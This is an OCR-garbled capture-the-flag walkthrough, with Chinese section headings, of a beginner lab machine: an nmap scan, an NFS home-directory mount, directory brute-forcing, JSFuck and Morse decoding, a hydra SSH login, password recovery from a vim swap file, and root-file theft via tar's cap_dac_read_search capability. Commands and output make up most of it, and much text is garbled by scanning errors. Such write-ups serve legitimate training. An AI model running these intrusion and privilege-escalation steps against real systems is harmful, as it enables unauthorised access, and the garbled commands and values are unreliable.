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2.1 BEHLAA

ii:pa BLEA

Difficulty Beginner-Intermediate

Flag 2 Flag first user And second root

Description The machine is VirtualBox compatible but can be used in VMWare as well (not
tested but it should work). The DHCP will assign an IP automatically. You have to
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3.1.1 nmap H#ERWKOEE

nmap -p- -A 192.168.0.180 -0A dots-ports

Host is up (@.0035s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.38 ((Debian))
_http-server-header: Apache/2.4.38 (Debian)
_http-title: Landing Page
111/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
program i port/proto service
100000 111/tcp  rpcbind
100000 111/udp  rpcbind
100000 111/tcp6é rpcbind
100000 111/udp6 rpcbind
le0003 2049/udp nfs
leeen3 2049/udpb6 nfs
lo0003 2049/tcp nfs
100003 2049/tcp6 nfs
100005 34051/tcpé mountd
41863/udp  mountd
46466/udp6 mountd
55271/tcp mountd
43575/tcp  nlockmgr
46177/tcpé nlockmgr
100021 53864/udp  nlockmgr
100021 58690/udp6 nlockmgr
100227 2049/tcp nfs_acl
100227 2049/tcpé nfs_acl
100227 2049/udp  nfs_acl
_ lee227 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
7822/tcp open ssh OpenSSH 7.9p1 Debian 1@+debl@ul (protocol 2.0)
ssh-hostkey:
2048 38:4fF:e8:76:b4:b7:04:65:09:76:dd:23:4e:b5:69:ed (RSA)
256 ac:d2:a6:0f:4b:41:77:df:06:7f0:11:d5:92:39:9F:eb (ECDSA)
_ 256 93:f7:78:6f:cc:eB8:d4:8d:75:4b:c2:bc:13:4b:f0:dd (ED25519)
34841/tcp open mountd 1-3 (RPC #100005)
43575/tcp open nlockmgr 1-4 (RPC #100021)
54801/tcp open mountd 1-3 (RPC #100005)
55271/tcp open mountd 1-3 (RPC #108005)
MAC Address: &4B:AS5:EF:46:69:8A (Shenzhen Four Seas Global Link Network Technology)
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3.2.1 3REX nfs fRE 2300 H X FFR

showmount -e 192.168.0.180

§ # showmount -e 192.168.0.1380
xport list for 192.168.8.188:

home/morris =*

# af]

22| ' 4 morris

322 EEHEEHZR

mount -t nfs 192.168.0.180:/home/morris dots

: # 1s

total 56

drwxr-xr-x moonsec moonsec

drwxr-xr-x root root
moonsec moonsec - .bash_history
moonsec moonsec : .bash_logout
moonsec moonsec 2 .bashrc
moonsec moonsec
moonsec moonsec
moonsec moonsec
moonsec moonsec : .ICEauthority
moonsec moonsec
moonsec moonsec - .profile
moonsec moonsec
moonsec moonsec
moonsec moonsec ! - KAauthority

# 1
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Perhaps thinks that the
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You know how our family have named us, right? Them X | REERIIR2EATIER(THE ? thi1E5FHESZWM, {RIUN,
naming me M and you N. Well, our names are entirely the HIE, BINEFRTEFRSRS—#, HRENMNE, £5X
same except the initials. Life is too short to save names in 1HE, TEEMCEZPETEF, MURTARE ! BfffER
your memory when you're old, so why not! But do you know BTG ? NS EENEBLT FHENSRE., HERE T EF
who did that? Our mother who was fond of the James Bond M, HiF, MiARBEESERSE—,

movies. She named me after her as M. Perhaps, she thinks
that the director of the movie was too lazy to think of one.
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I mean, who cares, right? Haha, | know you don't like me X OHEW, BEY, WL iR, HIEMRAERE, hAERED

neither my pesky jokes. But | love you brother. So, don't visit RIS, BEESMTE. b, EEEMZfFEihEx
this website until | am done. You'll find nothing but backups, Mih, {7HEEREIS, RSRE,
lol.

IRERE—5, FELEMREIRHEE, LAt ARES T — LKA,
Biw, | know you love challenges so | have something in store
for you as well.
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3.4 HEAM

gobuster dir -u http://192.168.0.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

# gobuster dir -u http://192.168.0.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Gobuster v3.0.1

[+] url: http://192.168.0.188

[+] Threads: 1ee

[+] wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout 1és

/images (Status: 3e1)
/manual (Status: 381)
/javascript (Status: 301)
/backups (Status: 200)
/mysite (Statu
/server-status

3.5 BRI jsfuck ZwAY

http://192.168.0.180/mysite/
Index of /mysite

« > C @ @ 192.168.0.180/n

Kali Linux Kali Training Kali Tools ) Kali Docs Kali Forums MNetHunt

Index of /mysite

Name Last modified Size Description

« Parent Directory -

all.css 2019-10-10 22:17 54K
[?] bootstrap.bundle.min.js 2019-10-11 04:50 77K
[?) bootstrap.min.cs 2019-10-11 04:52 66K
bootstrap.min.css 2019-10-11 04:49 152K
[?) jquery.slim.min.js 2019-10-11 04:49 69K
register.css 2019-10-10 22:17 2.4K
register.html 2019-10-10 22:22 1.9K

Hw] Ui &I bootstrap.min.cs 34 H jsfuck Jmtd



2 # cat bootstrap.min.cs
a-= Loadlng
b1 = *[ILCHLI+L1L+LII+CIIT+LI0I 1)L+ + [0+ [+L1TCt L1000 Io 400 1+C 1 L1+ 0D L0114 1 (10101401140 To 140114 1 (1L D]
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Email address

Password

Remember password

¥ 7 Inspector Console [ Debugger {} StyleEditor (2) Performance {3 Memory P Network [ Storage -y Accessibility
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freors 1

4 [HTTP/1.1
» [HTTP/1.1
b [HTTP/1.1
| 4 [HTTP/1.1
» [HTTP/1.1
b B g t 3 [HTTP/1.1
A The script from “http://192.168.6.180/mysite/bootstrap.min.cs” was loaded even though its MIME type (“”) is not a valid JavaScript MIME type. [Learn More

P The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document contains

rharacters from outside the 1IS-ASCTT ranne. The character encadinn of the nane must he declared in the dacument ar in the transfer nratnenl.

console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)



I ] )
> O Inspector Console [ Debugger {} Style Editor () Performance {F Memory T Metwork [ Storage T Accessibility

168.0.188/mysite/bootstrap.min,css [H
GET http://192.168.0.188/mysite/jquery.slim.min. js [H
GET http://192.168.0.180/mysite/bootstrap.min.cs [H
The script from “http://192.168.0.180/mysite/bootstrap.min.cs” was loaded even though its MIME type (“") is not a valid JavaScript MIME type. [Learn More

| 4
»
2
A
@ The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document con
characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protecel.

M\ Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. fLearn More

A

Source map error: request failed with status 464
Resource URL: http://192.168.0.1808/mysite/bootstrap.min.css
Source Map URL: bootstrap.min.css.map [Learn More

B GET http://192.168.08.188/favicon.ico [HTTP/1.1
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http://codertab.com/JsUnFuck

In order to decode JSFuck successfully, [Eval Source] option must be checked on encoded script
Using Mazilla Firefox or Google Chrome for best result!

More Info:

JSFuck Website = x
e 3 . codertab.com 87 :

JSFuck Wikipedia Information %
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You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

TryToGuessThisNorris@2k19 XA 1] §8 & & — % h5

3.8 hydra 5525 ssh

M4

morris

norris

hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.0.180 -s 7822



# hydra -L user -p TryToGuessThisNorrisa2k19 ssh://192.168.0.180 -s 7822
Hydra v9. l fC) 2819 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-06 00:02:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t &
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 legin tries (1:2/p:1), ~1 try per task
[DATA] attacking ssh //192 168.0.180:7822/
8 login: norr password: Try
arget successfu y cnmpleted 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-06 00:02:40

login: norris  password: TryToGuessThisNorris@2k19

3.9 &% ssh

ssh norris@192.168.0.180 -p 7822

# ssh norrisgl92.168.0.180 -p 7822
The authent1c1ty of host '[192.168.0.180]:7822 ([192.168.0.180]:7822)' can't be established.
ECDSA key fingerprint is SHA256:JK6+YY5U5vuE7DXk+tIBZFRPsa+G7K0Z366/v9ipWSE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.0.180]:7822' (ECDSA) to the list of known hosts.
norris@l192.168.0.180"'s password:
Linux sirrom &.19.0-6-amd64 #1 SMP Debian 4.19.67-2+debloul (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

ezt
Hunsn
#

3.10 183| flag user.txt

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

T
HHuBEd
#

#
#
#
#
#
#

norrisasirrom:~$ cat user.txt
2c2836a138c@e7f752%9aa0764ab6414d0

3.1 BERBUEGEER



norrisasi $ cat /etc/passwd | grep -v nologin

oM
root:x: root:/root:/bin/bash

sync:x:4:65534:sync:/bin:/bin/sync

tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false

hplip:x:117:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:118:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
morris:x:1000:1000:morris, ,,:/home/morris:/bin/bash
norris:x:1001:1001:norris, ,, :/home/norris:/bin/bash

7E fip H 3% N ARILPUAS LA
norrisgsirrom: $ 1s -al
druxr-xr-x 2 norris norris 4996 Oct

dr-xr-xr-x 3 nobody nogroup 4896 Oct
norris norris 6301 Oct - backups.bak

norris norris 39616 Oct : game. jpg.bak
norris norris 29 Oct ; hits.txt.bak

norris norris 932659 Oct - m.gif.bak

$ 1

3.12  RIEHFEN

norris 3K fip



: # ftp 192.168.0.180
Connected to 192.168.0.180.

220 Welcome to Heaven!

Name (192.168.0.180:root): norris

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

drwxr-xr-x 2 1801 1001 4996 Oct 11 :19 files

226 Directory send OK.

ftp> cd files

250 Directory successfully changed.

ftp> 1s

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

) e 1 1ee1 lee1 6301 Oct 11 :47 backups.bak
—Pe—m————— L 1e01 39610 Oct 11 :16 game.jpg.bak
=Pemm=———— 1 1ee1 1e01 29 Oct 11 126 hits.txt.bak
o 1 1001 1ee1 932659 Oct 11 143 m.gif.bak
226 Directory send OK.

ftp> get game.jpg.bak

local: game.jpg.bak remote: game.jpg.bak

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for game.jpg.bak (39618 bytes).
226 Transfer complete.

39618 bytes received in 8.85 secs (B837.5369 kB/s)

ftp> get hits.txt.bak

local: hits.txt.bak remote: hits.txt.bak

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for hits.txt.bak (29 bytes).
226 Transfer complete.

29 bytes received in 8.81 secs (4.7462 kB/s)

ftp> get m.gif.bak

local: m.gif.bak remote: m.gif.bak

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for m.gif.bak (932659 bytes).
226 Transfer complete.

exiftool game.jpg.bak



r

Modification Date/Time
Access Date/Time
Inode Change Date/Time
Permissions
Type
Type Extension
Type
Version
Resolution Unit
X Resolution

Bits Per Sample
Color Components

Y Cb Cr Sub Sampling
Image Size
Megapixels

exiftool game.jpg.bak
: 11.76
: game,jpg.bak
: 39 kB
: 2020:01:06 00:13:23-09:00

: 2020:01:06 00:13:23-09:00
© 2020:01:06 09:13:23-09:00

: MN-r—r—
: JPEG

: ipg

: image/jpeg
: 1.01

: inches

: 192

: 192

: Big-endian (Motorola, MM)
: Horizontal (normal)

1 712
: 350
: Progressive DCT, Huffman coding
: 8

Y

: YCbCré:4:4 (1 1)
: 712x3508

1 0,249

3.13 fREERE

h

Recipe

From Morse Code

Letter delimiter

Space

Word delimiter

Line feed

Output

HEY NORRIS, YOU'VE MADE THIS FAR.

Options &  About / Support (@)

length: 1573

lines: s
start: 347 time: 17ms
end: 347 length: 337 ) |_D M i
length: B lines: x |

FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA

YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM
UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM
SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A
"SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.

HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW?
HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE
AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE

THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO

MY

DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.



%%
Baich g

HEEE - = -
HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA X
SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDNT YOU? OH DAMN

MY BATTERY IS ABOUT TO DIE AND | AM UNABLE TO FIND MY CHARGER

SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS

DOWN AUTGMATICALLY. | AM SAVING THE GATEWAY TO MY DUNGEON IN

A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.

) vy

3.14 JREUH T morris Y

BEHL www H3E NI secretfile

- 1 www-data www-data

rrom:

$ cat secretfile

I see you're here for the password. Holy Moly! Battery is dying

jsirrom: %

IE HEN , (ESETIRAR. mETOOOIES 7 K, R, T
B2, SR BAVEIEMSE T B PSSR T B RSEE
H28) , EXEET IR REESEEEIRRE R AT
By SECRETFILE™,

) B &

secretrile

12288 Oct 11 18:32 .secretfile.swp

! Mentioning below for reference.

swp A& G i as FARWT L B ctrlz PR AR RSO
wget http://192.168.0.180/.secretfile.swp

= # wget http://192.168
—2020-01-06 00:28:19— http://192.168.0
Connecting to 192.168.0.180:80@ ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12288 (12K)

Saving to: ‘.secretfile.swp'

/.secretfile.swp
secretfile.swp

.secretfile.swp 100%[=

2020-01-06 00:28:19 (192 MB/s) - ‘.secretfile.swp' saved [12288/12288]

strings .secretfile.swp

£ # strings .secretfile.swp
bevim 8.1

root

sirrom

/var/wmi /html/secretfile

U321e

#" !
blehguessme@90

>] 12.88K -—+—KB/s

I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference..

morris blehguessme090

3.15 & ssh

ssh morris@192.168.0.180 -p 7822




# ssh morrlsalg2 168. G 18& -p ?822
morr156192 168.0.180's password:
Linux sirrom 4.19.@0-6-amd64 #1 SMP Debian 4.19.67-2+debl@ul (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

bty
Hu#aH
#

#
#
#
#
#
#

#
#
#
#

morri i $ 1s -al

total 56

drwxr-xr-x morris morris 4@96

drwxr-xr-x root root 4896
morris morris 1 t .bash_history
morris morris 220 : .bash_logout
morris morris 3526 :@8 .bashrc
morris morris 4@96
morris morris 4@96
morris morris 4@96
morris morris 1884 t .ICEauthority
morris morris 4@96
morris morris 807 : .profile
morris morris 4@96
morris morris 4@96
morris morris 52 3 .Xauthority

3.16 EZ| root.txt

XAEHLAI R A ELEBHER -

/sbin/getcap -r / 2>/dev/null

$ /sbin/getcap -r / 2>/dev/null
/usrfllbfx&é 64-1linux-gnu/gstreamerl.®/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Jusr/bin/tar = cap_dac_read_search+ep

Jusr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usrfblnfplng cap_net_raw+ep

nor ir

/ust/bin/tar = cap_dac_read search+ep

A LA Geik SCAE A BRAS B A H SR A A HAT AR A A .
tar T f/root

tar -zcvf root.tar.gz /root



norrisasirrom: $ tar -zcvf root.tar.gz /root
tar: Removing leading "/' from member names
/root/

/root/root.txt

/root/.bashrc

/root/.gnupg/

/root/.gnupg/private-keys-vi.d/

/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile
norrisgsirrom: -3 |

fige s SCA

tar -zxvf root.tar.gz

nor rrom: $ 1s -al
total 52
drwxrwxrwt 12 root root
drwxr-xr-x 19 root root
drwxrwxrwt root root
drwxrwxrwt root root
root root
norris norris
norris norris
root root
root root
root root
drwxrwxrwt root root
drwxrwxrwt root root

L= 0= = = T = = = = T = = T S = 1

drwxrwxrwt root root

Fi<al

norris@sirrom:

norri irrom:

root.txt

norrisasirrom: $ cat root.txt
8fc9376d961670calbbe270d52edas23
norrisasirrom: -3 |

4 B4

nfs il
jsfuck gt fige 2

JEE 0 B S
hydra Wl ssh %4>
getcap A AT
tar F] 603
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